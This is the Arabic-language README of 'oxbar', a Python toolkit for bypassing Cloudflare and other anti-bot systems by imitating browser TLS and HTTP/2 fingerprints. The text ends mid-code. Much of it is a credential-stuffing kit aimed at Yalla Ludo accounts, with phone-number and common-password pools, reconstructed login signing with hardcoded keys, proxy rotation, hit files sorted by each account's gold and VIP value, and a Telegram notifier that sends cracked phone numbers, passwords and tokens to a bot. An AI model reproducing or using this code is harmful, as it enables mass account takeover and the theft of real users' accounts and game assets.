Skip to main content

🛡️ oxbar — مكتبة بصمات TLS و HTTP/2 للتخطي الإحترافي

Mega HTTP/2 + TLS Fingerprint Toolkit مكتبة Python ضخمة تجمع كل التقنيات والأفكار الموجودة في المشاريع المشهورة لتخطي Cloudflare و Akamai و DataDome و PerimeterX وكل الـWAFs اللي تعتمد على بصمات البروتوكول (TLS / HTTP/2 / Header order).


🌟 الفلسفة

لما السيرفر يبدأ يحكم عليك من البصمة مو من الـcookies أو الـsession، الحل الوحيد هو انتاج نفس البصمة بإحتراف. كل مشروع من مشاريع الـopen-source اللي حللناها ركّز على جزء واحد من المعادلة. oxbar يجمع كل الأجزاء في مكان واحد ويجعلها متّسقة ومُختبَرة.

الطبقة المشكلة اللي يحلّها الوحدات المعنية
TCP حقن الخصائص الصحيحة للمتصفح oxbar.tls.tcp_options
TLS محاكاة Client Hello لمتصفح/تطبيق محدد oxbar.tls
HTTP/2 محاكاة SETTINGS / WINDOW_UPDATE / PRIORITY oxbar.h2
Headers الترتيب الصحيح + القيم الافتراضية oxbar.headers
Device Profile ربط UA + model + locale + AndroidId oxbar.fingerprint
Proxy HTTP CONNECT, SOCKS4/5/4a, smart failover oxbar.proxy
Cipher AES, RSA, XOR-keystream, HMAC, custom MD5 oxbar.cipher
Transport Fallback من curl_cffi → tls_client → h2_raw oxbar.transport
Rate limit Token bucket + exponential + global cooldown oxbar.ratelimit
Cloudflare orchestration كامل لتخطي الـBot Solutions oxbar.cloudflare

📦 التنصيب

# الحد الأدنى (لب الـh2 + cipher + device profile)
pip install oxbar

# أو من المصدر
git clone https://github.com/oxbar/oxbar_project
cd oxbar_project
python -m pip install -e .

# إضافة كل الـtransports (curl_cffi + tls-client) + python-socks
pip install curl_cffi tls-client python-socks brotli orjson

اختبار فوري:

import oxbar
print(oxbar._bootstrap.summary())
# > curl_cffi+ tls_client+ httpx+ urllib3+ requests+ h2_raw+ crypto+ truststore+

📜 نظرة سريعة على الـAPI

import oxbar
# 1) بناء SSLContext يحاكي Chrome 124 تماماً
ctx = oxbar.chrome_124_context()

# 2) انشاء device identity
pair = oxbar.make_device_id_pair()
ua = pair.profile.user_agent

# 3) ترتيب الهيدرز بنفس ترتيب Chrome 124 (مهم جداً لـCloudflare)
hdrs = oxbar.chrome_headers({
    "user-agent": ua,
    "accept-language": "en-US,en;q=0.9",
    "cookie": "cf_clearance=xxxx",
})

# 4) أرسلها عبر أي transport متاح
from oxbar.transport import try_one
r = oxbar.try_one("https://example.org/", hdrs,
                  transport="curl_cffi",
                  timeout=15)
print(r.status, len(r.body), r.transport_name)

# 5) قياس الـJA3 / JA4 trumped
print(oxbar.ja3_estimate(ctx))
print(oxbar.ja4_estimate(ctx))

🧠 شرح تفصيلي لكل وحدة

0️⃣ oxbar.ludo — Bundle خاصة بـ YallaLudo 🎮

الموديل الكاملة اللي بنيتها من كل المصادر التسعة تبع Yalla Ludo و Yalla Ludo HD.

import oxbar

# 1) Host picker ذكي — يحفظ آخر host ناجح ويرتب أولاً
picker = oxbar.YallaLudoHostPicker()
picker.mark_good("httpgateway.yalla.games")
print(picker.pick_order()[0])   # 'httpgateway.yalla.games' (الأحدث أولاً)

# 2) بناء request مكتمل لكل API style
# === API الجديد (x-sign / x-medusa) ===
req = oxbar.build_login_new("7812345678", oxbar.md5u("qwer1234"))
# 15 header جاهز, body XOR-encoded JSON, hera key

# === API القديم (RSA+AES) ===
req_hd = oxbar.build_login_hd("7812345678", "qwer1234")
# blowfishstring / baseparamstring / x-unity-version

# 3) فك الرد تلقائياً
result = oxbar.process_response_new(response_bytes, req.hera)
print(result.uid, result.token, result.name, result.status)

# 4) Pipeline كامل من phone/pwd → decoded response
outcome = oxbar.yalla_combo_pipeline(
    "7812345678", "qwer1234",
    api="new", transport="h2_raw",
    proxy="http://user:pwd@proxy.example.com:8080"
)
print(outcome.status, outcome.decoded)

# 5) Pool أرقام عراقية + set مخصص لأي بلد
iraq = oxbar.IraqPrefixPool()
print(iraq.next())              # -> '7501234567'
print(oxbar.normalize_phone("+964 781 234 5678"))  # -> '7812345678'

# 6) قائمة countries الكاملة
print(oxbar.COUNTRIES["966"]["name"])   # -> 'Saudi Arabia'

# 7) Password pool سريع
pw_pool = oxbar.PasswordPool(passwords=("qwerty1234", "pass1234"))
print(pw_pool.try_one())

الثوابت المتضمنة:

  • 15 host gateway للتدوير (httpgateway.* + account.yalla.games)
  • 13 دولة + ISO code + name
  • Iraq بـ 12 prefix و 7 digits + alt Iraq بـ 077/078/075
  • 6 passwords شائعة + pool مخصص
  • VERSION_NEW_API ("1.5.1.0") + VERSION_HD_API ("1.2.0.2")
  • B1_KEY, B1_IV, RSA_PUBLIC_KEY_HD, GATEWAY_SECRET

0️⃣ oxbar.session — Session Manager + retry 🔐

import oxbar, time

# Cache من الـlogins الناجحة
mgr = oxbar.SessionManager(max_sessions=5000, ttl_seconds=900)
mgr.load_from_txt("result/sessions.txt")  # يحمّل من الملف

session = oxbar.LudoSession(
    phone="7812345678", uid="1234", name="Tester",
    token="abcd",
    issued_ms=int(time.time() * 1000),
    last_used_ms=int(time.time() * 1000),
)
mgr.put(session)

# الـ next time نعمل نفس الـ account, نستعمل الـtoken من الـcache
got = mgr.get("7812345678", "1234")
if got:
    print("Reuse token:", got.token)   # لا تحاول login مرة ثانية

# حفظ إلى disk
mgr.save_to_txt()

Retry decorator:

@oxbar.with_retries(attempts=4, initial_delay=0.8,
                    retry_on_status=(-1, 429, 152))
def hit_one(url):
    r = try_one(url, headers, transport="h2_raw")
    return {"status": r.status}

0️⃣ oxbar.connection — اتصال TCP + مانيجمنت 🔌

import oxbar

# فتح اتصال TLS واحد بسرعة
conn = oxbar.connection.connect(
    "httpgateway.carrstuv.com", 443,
    profile="chrome124",
    proxy="http://user:pwd@proxy:8080"
)
print(conn.selected_alpn())  # -> 'h2'
# استخدم اتصال جاهز للـH2:
h2 = oxbar.H2Client(conn.ssl_sock)
h2.connect()
status, body, headers, log = h2.post(...)
conn.close()

# Pool للتخفيف من overhead:
pool = oxbar.ConnectionPool(max_per_key=4, max_total=200)
c = pool.acquire("httpgateway.carrstuv.com", profile="chrome124")
# ... do work ...
pool.release(c)

# Budget tracking (bytes sent / recv)
budget = oxbar.NetworkBudget()
budget.record(sent=200, recv=1500)
print(budget.snapshot())
# {'requests': 1, 'bytes_sent': 200, 'bytes_recv': 1500,
#  'rps': 0.66, 'kb_sent_per_sec': 0.13}

0️⃣ oxbar.cloudflare — تخطي Cloudflare الحقيقي 🚀

import oxbar

# orchestrator عالي المستوى — يجرب كل الـstrategies بترتيب
cf = oxbar.CloudflareBypass(
    target="chrome124",
    transport_order=("curl_cffi", "tls_client", "h2_raw", "httpx"),
    browser_fallback=True,    # يستعمل Chrome حقيقي لو فشلت كل الباقي
    scraper_fallback=True,    # يستعمل cloudscraper لو CF JS challenge
    proxy="http://user:pwd@proxy:8080",
)

r = cf.get("https://my-protected-resource.example.com/")
if r.success:
    print("Bypassed via:", r.strategy_used)
    print(r.response.body.decode())

# Manual strategy:
r = oxbar.direct_no_proxy("https://...", headers,
                          body=b"...", transport="auto")

# Real browser fallback (يستخدم chromium لـHard JS challenges)
r = oxbar.chrome_browser_post("https://example.com",
                              oxbar.chrome_headers(),
                              method="POST", body=b"...")
# تستلم TransportResponse فيه x-oxbar-cookies header لاستعماله بعدين

# Cloudscraper fallback (JS challenge solver)
r = oxbar.cloudscraper_fallback("https://...", headers,
                                body=b"...", browser_hint="chrome")

استراتيجيات الفشل الترتيب:

  1. protocol-level (curl_cffi → tls_client → h2_raw → httpx → urllib3 → requests)
  2. direct_no_proxy (حاول بدون proxy)
  3. cloudscraper (يحُل JS challenges متوسطة التعقيد)
  4. chrome_browser (متصفح حقيقي headless)

0️⃣ oxbar.telegram — قوالب جاهزة لـ Telegram 🎯

4 قوالب جاهزة حسب الـsource المستخدم:

import oxbar

# 1) gg.py / 1.py / golden / check loudo style:
print(oxbar.format_mus_19oi("78123", "qwer", "X", "1234", "tok",
                            by_tag="@mus_19oi"))

# 2) gg.py alt style:
print(oxbar.format_is71s("78123", "qwer", "X", "1234", "tok",
                         by_tag="@is71s"))

# 3) gogogoggoogog style:
print(oxbar.format_b_q_5("78123", "qwer", "X", "1234", "tok",
                         by_tag="@B_Q_5"))

# 4) auto-filtered (يرسل الذهب/الجواهر/المستوى فقط لو يستحق):
print(oxbar.format_golden_bullet(
    "78123", "qwer", "X", "1234", "tok",
    level=60, gold=5_000_000, diamond=2_000, vip=True,
    by_tag="@oxbar"
))

# Auto-reason builder (same as `telegram_reasons` in source files):
reasons = oxbar.auto_reasons_hits_only({
    "goldNum": 5_000_000, "diamondNum": 2_000,
    "levelId": 60, "showNumId": "123456", "isVip": True
})
# -> ['Gold: 5000000', 'Diamond: 2000', 'ID: 123456', 'Level: 60', 'VIP:TRUE']

# أونر-كل استعمل Notifier + thread + rate-limit + retry:
cfg = oxbar.TelegramConfig(bot_token="xxx", chat_id="-100...",
                            rate_per_sec=2.0)
notifier = oxbar.TelegramNotifier(cfg=cfg)
notifier.start()
notifier.push_hit({"phone": "78", "pwd": "qwer", "name": "X",
                    "uid": "1", "token": "tok",
                    "acct": {"goldNum": 5_000_000}})
notifier.stop()

1️⃣ oxbar.tls — بصمة TLS بدقة

هذي الوحدة هي أهم جزء. JA3 و JA4 هي عبارة عن هاش للـClient Hello اللي يرسلها عميلك. الـWAFs تقارنه مع ما يجب أن يكون لمتصفح/جهاز معروف.

توفّر oxbar بصمات أصليّة لأشهر الـclients في السوق:

Profile Source TLS Ciphers (openssl) TLS 1.3 suites Curves
chrome124 BoringSSL 56 من أكواد Chrome TLS_AES_256_GCM_SHA384 ... X25519 + secp256/384
chrome120 BoringSSL نفسها نفسها نفسها
firefox121 NSS 24 من Firefox TLS_CHACHA20_POLY1305 ... X25519 + secp256/384
okhttp4_android13 Conscrypt 14 من OkHttp/Conscrypt TLS_AES_128_CCM_8 X25519 + secp256r1
edge120 BoringSSL مثل Chrome 124 نفس Chrome نفس Chrome
safari17 SecureTransport 18 من Apple نفس Chrome X25519 + secp256r1
minimal_tls13 TLS 1.3 only 1 cipher TLS_AES_128_GCM X25519
safe_tls12_legacy OpenSSL legacy Common compatible لا شيء X25519 / secp256r1

الاستخدام المباشر

import oxbar

ctx = oxbar.make_ssl_context("chrome124")
# __import__("socket").create_connection(("example.org", 443))
# raw = ...
# ss = ctx.wrap_socket(raw, server_hostname="example.org")
# ss.selected_alpn_protocol()  -> "h2"

# تقدر تفحص الـcipher suite و verify flags
print(ctx.options)
print(ctx.verify_flags)
print(ctx.get_ca_certs()[:1])

إضافة profile مخصّص

import oxbar, ssl
my_profile = oxbar.TLSProfile(
    name="my_custom_ios_app",
    ciphers="ECDHE-RSA-AES256-GCM-SHA384:ECDHE-RSA-AES128-GCM-SHA256",
    tls13_ciphers="TLS_AES_256_GCM_SHA384:TLS_AES_128_GCM_SHA256",
    alpn=("h2", "http/1.1"),
    min_version=ssl.TLSVersion.TLSv1_2,
    max_version=ssl.TLSVersion.TLSv1_3,
    curves=("X25519", "secp256r1"),
    sig_algs=("RSA+SHA256",),
    custom_options=("OP_NO_TICKET",),
)
ctx = oxbar.make_ssl_context(my_profile)

تقدير البصمة JA3 / JA4

الـPython ssl.SSLContext لا يعيد الـbytes الخاصة بالـClient Hello، لذلك تقدير البصمة هنا أوّلي — يصلح للتحقق من أن تغيّر الـcipher string يغيّر الـhash المتوقع.

ctx = oxbar.make_ssl_context("chrome124")
print(oxbar.ja3_estimate(ctx))
print(oxbar.ja4_estimate(ctx))

2️⃣ oxbar.h2 — عميل HTTP/2 + محاكاة الـSETTINGS

HTTP/2 fingerprinting ميزة جديدة في الـanti-bot: السيرفر يراقب ما ترسله في أول SETTINGS / WINDOW_UPDATE / PRIORITY frames. الـPython's hyper-h2 وحده يرسل قيم افتراضية (HEADER_TABLE_SIZE=4096, MAX_CONCURRENT_STREAMS=100) وبعض الـanti-bots يستخدمون هذا للكشف.

oxbar.h2 يقدّم:

  • H2Client — wrapper حول hyper-h2 يبعث الـSETTINGS الصحيحة + WINDOW_UPDATE + stream priority مطابقة للمتصفح.
  • دوال جاهزة لبناء الـSETTINGS frame لكل متصفح:
    • chrome_settings() -> 65536 / 0 / 1000 / 6291456 / 16384 / 262144
    • firefox_settings() -> 65536 / 0 / 100 / 131072 / 16384 / 262144
    • okhttp_settings() -> 8192 / 0 / 100 / 16777216 / 16384
  • chrome_window_update() = 15663105 (Chrome يرسل هذا الرقم مباشرة بعد الـsettings ack)
  • أولوية التيار: chrome_priority(), okhttp_priority()

استخدام منخفض المستوى

import socket, ssl, oxbar

raw = socket.create_connection(("www.google.com", 443), timeout=10)
ctx = oxbar.chrome_124_context()
ss = ctx.wrap_socket(raw, server_hostname="www.google.com")

c = oxbar.H2Client(ss, timeout=10)
c.connect()  # يفتح H2 ويرسل SETTINGS الصحيحة + WINDOW_UPDATE
status, body, headers, events = c.post(
    "/",
    [
        (":method", "GET"),
        (":scheme", "https"),
        (":authority", "www.google.com"),
        (":path", "/"),
        ("user-agent", oxbar.random_user_agent()),
        ("accept", "text/html"),
        ("accept-encoding", "gzip, deflate, br"),
        ("accept-language", "en-US"),
    ],
    body=None,
)
print(status, len(body), events[:5])

تصنيع إطارات يدوياً

import oxbar
settings = oxbar.H2Frame(
    frame_type=oxbar.FrameType.SETTINGS,
    flags=0,
    stream_id=0,
    payload=b"",  # encode yourself if you must
)
print(settings.serialize())  # أول 9 bytes هيدر، باقي باي لود

3️⃣ oxbar.fingerprint — هوية الجهاز

السيرفر لا يحكم عليك من الـTLS فقط، بل يأخذ الكل كقطعة واحدة:

  • الـUser-Agent: منصة الإصدار وال OS.
  • الموديل + الـdeviceName المبلّغ عنها في الـJSON body.
  • الـAndroidId + الـshuMengId + الـnonce + الـhera key.
  • الـlocale + الـcountry / region.
  • الـTraceparent + الـBaggage (لتطبيقات تستخدم OpenTelemetry).

oxbar.fingerprint يحزم هذه كلّها في DeviceProfile + DeviceIdPair:

import oxbar

# 1) pool من الأجهزة الواقعية (Samsung, Xiaomi, Pixel, OnePlus, Honor...)
android = oxbar.android_devices()
print(android[0])
# DeviceProfile(model='BRP-NX1', manufacturer='HONOR',
#   device_name='HONOR BRP-NX1', os_version=36, build=1050105,
#   user_agent='YallaLudo-1.5.1.0-(Build 1050105)-Android 36')

# 2) عشوائي مختار بذكاء (iPhone 16% من الوقت)
dev = oxbar.random_device()
print(dev.user_agent)

# 3) Bundle كامل (UA، AndroidId، shuMengId، nonce، hera)
pair = oxbar.make_device_id_pair()
print(pair.device_id, pair.android_id, pair.shumeng_id, pair.hera)

إنشاء بريد إلكتروني مزيّف

import oxbar

# بناء الـx-baggage لتطبيق يستخدم OpenTelemetry
dt = oxbar.now_ts_ms()
android_id = oxbar.generate_android_id()
shumeng = oxbar.generate_shumeng_id()
nonce = oxbar.random_nonce()
dev = oxbar.random_android()

b64 = oxbar.random_hera_baggage(
    dt_ms=dt, d=dev,
    android_id=android_id, shumeng_id=shumeng,
    nonce=nonce, version="1.5.1.0",
    sim_country="IQ", phone_country="IQ"
)
print(b64)

الـDevicePool — للتدوير بين الأجهزة

pool = oxbar.DevicePool()
for _ in range(5):
    print(next(pool).user_agent)

4️⃣ oxbar.headers — ترتيب الـheaders الخاص بكل fingerprint

أكبر خطأ يرتكبه مبرمجو الـscrapers هو إرسال الـheaders بالترتيب الأبجدي أو بترتيب الـrequests/httpx الافتراضي. هذا يكشفهم للحال. Cloudflare و Akamai يسرّحون الـUA + اسم المتصفح = رفض فوري

oxbar.headers يحتوي على canonical header orderings لـ:

  • chrome124 (15 header مرتّب)
  • firefox121 (13 header مرتّب)
  • okhttp4_android13 (4 header مرتّب)
  • yalla_ludo / yalla_ludo_hd (15+7 header)
  • mobile_unity (Unity 2022.3.62f1c1)
  • تخصيص الـheaders مع overrides
import oxbar

hd = oxbar.chrome_headers({
    "user-agent": oxbar.random_user_agent(),
    "accept-language": "en-US,en;q=0.9",
})
print(hd)
# [('host', 'example.com'), ('connection', 'keep-alive'),
#  ('sec-ch-ua', '"Chromium"...'), ('sec-ch-ua-mobile', '?0'),
#  ..., ('accept-language', 'en-US,en;q=0.9')]

القوالب المُعتمدة:

# المتصفحات
oxbar.chrome_headers({"user-agent": "..."})
oxbar.firefox_headers({"user-agent": "..."})
oxbar.okhttp4_android13_headers({"user-agent": "okhttp/4.12.0"})

# تطبيقات الموبايل
oxbar.yalla_ludo_headers({"user-agent": "...", "x-hera": "..."})
oxbar.yalla_ludo_hd_headers({...})
oxbar.mobile_unity_headers({...})

الـdrop_empty policy: لا نُرسل headers فارغة تلقائياً (Cloudflare يلاحظ لو أرسلت x-hera: فارغة).


5️⃣ oxbar.proxy — كل أنواع البروكسيات مع smart failover

أنواع البروكسيات المدعومة

Scheme مصادقة Fallback القسم
http://, https:// Basic auth pure Python open_through_proxy
socks5://, socks5h:// yes python_socks or pure Python open_socks5
socks4://, socks4a:// none python_socks or pure Python open_socks4
from oxbar.proxy import parse_proxy_url, open_through_proxy

spec = parse_proxy_url("http://user:pass@1.2.3.4:8080")
raw_sock = open_through_proxy(spec, "tunnel-host.example.com",
                              target_port=443, timeout=15)
# raw_sock جاهز ليتم عمل TLS / H2 فوقه

SmartProxy — failover مرتّب

SmartProxy يجمع قائمة بروكسيات ويحتفظ بإحصائيات (نجاحات / إخفاقات / متوسط وقت). عند كل عملية، يقدّم المرشحين بترتيب الأفضل أولاً.

from oxbar.proxy import SmartProxy

sp = SmartProxy([
    "http://p1.example.com:8080",
    "http://p2.example.com:8080",
    "socks5://p3.example.com:1080",
])

while True:
    for proxy in sp.candidates():
        try:
            open_through_proxy(proxy, "...", 443)
            sp.feedback(proxy, success=True, latency_ms=120)
            break
        except Exception:
            sp.feedback(proxy, success=False)

ProxyRotator — اختيار عشوائي موزون

ProxyRotator يختار بروكسي بناءً على success-rate و availability.

rot = oxbar.ProxyRotator(["http://p1:80", "http://p2:80", "http://p3:80"])
proxy = rot.pick()
# ... open socket ...
rot.feedback(proxy, success=True, latency_ms=80)

6️⃣ oxbar.cipher — كل الـcrypto اللي تحتاجه

خوارزميات مغطّاة:

الخوارزمية الاستخدام النموذجي
AES-CBC (PKCS7) الـpayload الرئيسي في معظم APIs
AES-ECB ميدوسا x-medusa header token
AES-GCM المستقبل / أحياناً OK
RSA-OAEP / PKCS1v15 encrypted AES key في blowfishstring
XOR keystream طبقة الـYallaLudo Payment
HMAC-SHA256 x-sign = 2.0_2_<hmac>
Custom MD5 md5(hera+secret) كـkey لـXOR

أمثلة:

import oxbar, hashlib

# XOR round-trip
plain = b"secret message\n{\"foo\":1}"
ct = oxbar.xor_encrypt(plain, "hera_abc123", secret="L3)qk*@8")
assert oxbar.xor_decrypt(ct, "hera_abc123") == plain

# AES CBC round-trip
key = b"\x10" * 16
iv  = b"\x00" * 16
ct  = oxbar.aes_cbc_encrypt(b"secret!", key, iv)
pt  = oxbar.aes_cbc_decrypt(ct, key, iv)
assert pt == b"secret!"

# medusa token (الـ x-medusa header)
hera = "0123456789abcdef0123456789abcdef"
signed_bytes = b"/api/loginPOSTua1234xxxxxx"
medusa = oxbar.medusa_token(
    signed_bytes, hera,
    b1_key=b"4e82797b276c5cb729db62aaa229a057",
    b1_iv=b"0102030405060708",
)
print(medusa)

سيناريو YallaLudo كامل (login via cloud gateway)

import oxbar, base64, json, time

T = oxbar.now_ts_ms()
hera = oxbar.generate_hera()
plain = json.dumps({
    "mobile": "7812345678",
    "areaCode": "964",
    "languageId": 2,
    "password": oxbar.md5u("qwer1234"),
    "nationalityId": "1",
    # ...
}, separators=(",", ":"))
body = base64.b64encode(oxbar.xor_encrypt(plain.encode(), hera)).decode()
bag = oxbar.random_hera_baggage(T, oxbar.random_android(),
                                 android_id=oxbar.generate_android_id(),
                                 shumeng_id=oxbar.generate_shumeng_id(),
                                 nonce=oxbar.random_nonce(),
                                 version="1.5.1.0")
signed = ("/api/LudoAccountLoginRpcApiProxy/MobileAccountLogin"
          + "YallaLudo-1.5.1.0-(Build 1050105)-Android 36" + bag).encode()
x_sign   = oxbar.sign_payload(signed, hera)        # "2.0_2_<hmac>"
x_medusa = oxbar.medusa_token(signed, hera,
                              b1_key=b"4e82797b276c5cb729db62aaa229a057",
                              b1_iv=b"0102030405060708")
print(x_sign, x_medusa, bag)

7️⃣ oxbar.transport — multi-backend orchestrator

هذي الوحدة تجمع الكل: تأخذ أفضل backend متاح في بيئتك وتجرب واحداً واحداً

Backend المثبتة على الجهاز:

import oxbar
print(oxbar._bootstrap.summary())
# > curl_cffi+ tls_client- httpx+ urllib3+ requests+ h2_raw+ crypto+ truststore+

إرسال POST عبر backend محدد

import oxbar
r = oxbar.try_one(
    "https://httpbin.org/post",
    oxbar.chrome_headers({"user-agent": oxbar.random_user_agent()}),
    body=b'{"hi":1}',
    transport="auto",  # أو "curl_cffi" / "h2_raw" / "tls_client" / ...
)
print(r.status, r.transport_name, repr(r.body)[:80])

إرسال POST عبر كل الـbackends حتى نجاح

import oxbar
stack = oxbar.TransportStack.from_env()
r = stack.post(
    "https://example.com/login",
    oxbar.yalla_ludo_headers({"x-hera": "..."}),
    body=b"...",
    ok_codes=(200, 152),  # 152 = wrong password, still useful
)

تخصيص ترتيب الـbackends

import oxbar
stack = oxbar.TransportStack.from_env()
# فضّل curl_cffi ومن ثم الـraw
stack.backends = [b for b in stack.backends
                  if b.name in ("curl_cffi", "h2_raw", "tls_client")]

إضافة transport مخصّص

from oxbar.transport import Transport, TransportStack, TransportResponse

class MyCloudfrontBackend(Transport):
    name = "cloudfront_waf"

    def post(self, url, headers, body=None, *, timeout=15, proxy=None):
        ...

stack = oxbar.TransportStack.from_env()
stack.backends.append(MyCloudfrontBackend())

8️⃣ oxbar.ratelimit — back-pressure

TokenBucket — حد أقصى للـRPS

import oxbar, threading

bucket = oxbar.TokenBucket(rate_per_sec=20, capacity=5)

def worker():
    while True:
        bucket.wait_and_consume()
        send_request()

threads = [threading.Thread(target=worker, daemon=True) for _ in range(20)]
[t.start() for t in threads]

ExponentialBackoff — إعادة المحاولة بذكاء

import oxbar
backoff = oxbar.ExponentialBackoff(base_sec=1.0, max_sec=30.0)

while True:
    try:
        do_request()
        backoff.on_success()
        break
    except Exception:
        backoff.sleep()

GlobalCooldown — park جميع الـworkers

import oxbar
cooldown = oxbar.GlobalCooldown(cooldown_sec=10.0)

def worker():
    while True:
        cooldown.wait_or_proceed()    # park if Cloudflare yelled at us
        try:
            send_request()
        except CFBlocked:
            cooldown.enter_cooldown()

PerHostCooldown — host واحد فقط هو اللي عانى

import oxbar
cooldown = oxbar.PerHostCooldown(cooldown_sec=15.0)

def request(host):
    cooldown.wait_or_proceed(host)
    try:
        ...
    except RateLimited:
        cooldown.enter_cooldown(host)

9️⃣ oxbar.result — النتائج + التصنيف + منع التكرار

Hit + كتابة آمنة بـthreads

import oxbar
writer = oxbar.ResultWriter(combo_file="result/hits.txt")

hit = oxbar.Hit(
    country="Iraq (+964)",
    phone="7812345678", pwd="qwer1234",
    name="Tester", uid="123456", token="abc",
    level=20, level_id=20, vip=False,
    gold=100_000, diamond=300,
    show_num_id="123456",
)
writer.write_hit(hit)
writer.write_bad("78FAIL0000", "wrongpass")

CategorizedHitWriter — يقوم بـauto-bucketing

يماثل بدقة منطق الـ1.py/golden (2).py/gg.py:

import oxbar
cat_writer = oxbar.CategorizedHitWriter(base_dir="result")

cat_writer._append_init_dirs()

hit = oxbar.Hit("Iraq (+964)", "7812345678", "qwer1234",
                 "Tester", "123456", "abc",
                 gold=2_000_000, diamond=400, level_id=42,
                 vip=True, show_num_id="123456")
cat_writer.save_hit(hit)
# أكتب في:
#   result/HITS_GOLD/1m_10m.txt
#   result/HITS_DIAMOND/less_500.txt
#   result/HITS_LEVEL/20_35.txt
#   result/SHOW_NUM_ID/showNumId_6.txt
#   result/HITS_VIP/vip.txt

التصنيفات المعتمدة

oxbar.categorize_gold(8_500)         # -> 'less_100k'
oxbar.categorize_gold(1_500_000)     # -> '1m_10m'
oxbar.categorize_diamond(600)        # -> '500_1k'
oxbar.categorize_level(45)           # -> '35_50'
oxbar.show_num_id_digits("00123456") # -> 5

🔟 oxbar.telegram — إشعارات HIT تلقائية

import oxbar
cfg = oxbar.load_telegram_config()  # telegram.json if exists
cfg.bot_token = "xxxxx"
cfg.chat_id   = "-100..."
oxbar.save_telegram_config(cfg)

notifier = oxbar.TelegramNotifier(cfg=cfg)
notifier.start()

# background thread sends your messages
notifier.push_hit({
    "country": "Iraq (+964)",
    "phone":   "7812345678",
    "pwd":     "qwer1234",
    "name":    "MusTest",
    "uid":     "123456",
    "token":   "abc",
}, extra_reasons=["Gold: 5,000,000", "VIP: TRUE"], by_tag="@you")

notifier.stop()

1️⃣1️⃣ oxbar.cloudflare — orchestration نهائي

أعلى نقطة في الـabstraction:

import oxbar
cf = oxbar.CloudflareBypass(
    target="chrome124",
    transport_order=("curl_cffi", "tls_client", "h2_raw", "httpx"),
    accepted_status=(200, 304),
    proxy="http://p1.example.com:8080",
)

r = cf.get("https://my-protected-resource.example.com/")
if r.success:
    html = r.response.body.decode("utf-8", "ignore")
    print(html[:400])
else:
    print("even with all transports we hit a block:", r.note)

بناء طلب متّسق (TLS + headers + transport)

req = oxbar.build_coherent_request(
    "https://example.com",
    target="chrome124",
    overrides={"user-agent": "...", "cookie": "..."},
)
# req.tls_profile, req.headers, req.body, req.transport

الكشف الفوري

status = 403
headers = {"server": "cloudflare", "cf-ray": "..."}
is_cf_challenge = oxbar.is_cloudflare_challenge(status, headers)
cf_meta = oxbar.parse_cf_headers(headers)  # -> {"server": "cloudflare", "cf-ray": "..."}

1️⃣2️⃣ oxbar.cli — dashboard ترمنال

from oxbar.cli import DashboardRenderer
import time, threading

d = oxbar.DashboardRenderer(period_sec=0.7)
d.start()
d.set(target="Yalla Ludo", mode="Random", threads=200, total=0, hit=0)
try:
    while True:
        # ... do work ...
        d.set(total=total, hit=hits, bad=bads, error=errs,
              rps=rps, cpm=cpm)
except KeyboardInterrupt:
    d.stop()
  • C يحتوي على كل أكواد الألوان (bg, fg, bold).
  • truncate_line — يقطع النص مع احترام أكواد ANSI.
  • print_logo — لوغو ASCII لطيف للـCLI.

1️⃣3️⃣ oxbar.utils — أدوات سريعة

import oxbar
oxbar.random_user_agent()            # Chrome Realistic UA
oxbar.random_str(32)                 # صرف عشوائي
oxbar.now_ms()                       # 1718182381838
oxbar.base64url_encode(b"...")
oxbar.base64url_decode("...")
oxbar.to_int("1234")                 # -> 1234
oxbar.to_bool("false")               # -> False
oxbar.format_num(3.0)                # -> "3"
oxbar.extract_dict_path(obj, ("token", "user"))  # nested-key search

🧪 الاختبارات

PYTHONPATH=. python3 test_oxbar.py

النتيجة: 22/22 tests passed.


❓ متى تستخدم كل transport؟

السيناريو الـTransport الأفضل السبب
Chrome-points Cloudflare + IP ميت curl_cffi (chrome124) أكثر بصمة موثوقة, يدعم H2
OkHttp endpoints, ALPN h2 tls_client بصمة OkHttp 4 جاهزة
HTTP/2 بدقة (multi-frame) h2_raw (h2.SETTINGS chrome124) تحكم كامل
IP محلي فقط، بدون TLS fingerprinting requests / httpx (http2) اختبار سريع
Mass parallel (>200 RPS) urllib3 overhead منخفض
بدون أي deps زائدة h2_raw + urllib3 h2 + urllib3 غالباً مُثبّتان

🏗️ كيف تختار بصمتك؟

الهدف الـProfile الموصى به الـFingerprint
Cloudflare Bot Solutions (Chrome-like) chrome124 oxbar.chrome_headers + chrome_124_context
Cloudflare Bot Solutions (Firefox-like) firefox121 oxbar.firefox_headers + firefox_context
Akamai Bot Manager Mobile SDK okhttp4_android13 okhttp4_android13_headers
Apps in Yalla, mobile games yalla_ludo (1.5.x) yalla_ludo_headers + custom cipher
Ludo HD / Unity yalla_ludo_hd yalla_ludo_hd_headers

⚙️ المثال الكامل: YallaLudo Login

import oxbar, base64, json, time, urllib.parse, os

################ CNP (cloud gateway) #########################
def yalla_login(mobile: str, password_md5: str,
                xy: str = "964") -> dict:
    T   = oxbar.now_ts_ms()
    dev = oxbar.random_android()
    hera    = oxbar.generate_hera()
    bag     = oxbar.random_hera_baggage(
        T, dev, android_id=oxbar.generate_android_id(),
        shumeng_id=oxbar.generate_shumeng_id(),
        nonce=oxbar.random_nonce(), version="1.5.1.0",
    )
    plaintext = json.dumps({
        "mobile": mobile, "areaCode": xy,
        "password": password_md5, "languageId": 2,
        "nationalityId": "1",
        "hostConfig": [],
        "simCountry": "IQ", "version": "1.5.1.0",
        "deviceId":   oxbar.random_hera(),
        "deviceName": dev.device_name, "deviceType": 2,
        "downloadChannelId": 1,
        "shuMengId":  oxbar.generate_shumeng_id(),
        "nonce":      oxbar.random_nonce(),
        "plateType":  0, "phoneModel": dev.model,
        "X-Phone-Country": "IQ", "X-Sim-Country": "IQ",
        "AndroidId":  oxbar.generate_android_id(),
        "IsSubpackages": 0, "appType": 0, "idfa": ""
    }, separators=(",", ":"))
    body_str = base64.b64encode(oxbar.xor_encrypt(plaintext.encode(), hera)).decode()
    payload  = json.dumps({"paramJsonString": body_str}, separators=(",", ":")).encode()
    path     = "/api/LudoAccountLoginRpcApiProxy/MobileAccountLogin"
    ua       = dev.user_agent
    signed   = (path + ua + bag).encode()
    hdrs = [
        ("traceparent",    oxbar.random_traceparent()),
        ("baggage",        "service.name=ludo"),
        ("user-agent",     ua),
        ("userid",         "0"),
        ("accessid",       oxbar.md5u("0")),
        ("x-app-id",       "ludo"),
        ("x-baggage",      bag),
        ("x-access-token", ""),
        ("x-timestamp",    str(T)),
        ("versionstring",  "1.5.1.0"),
        ("x-sign",         oxbar.sign_payload(signed, hera)),
        ("x-hera",         hera),
        ("x-time",         str(T)),
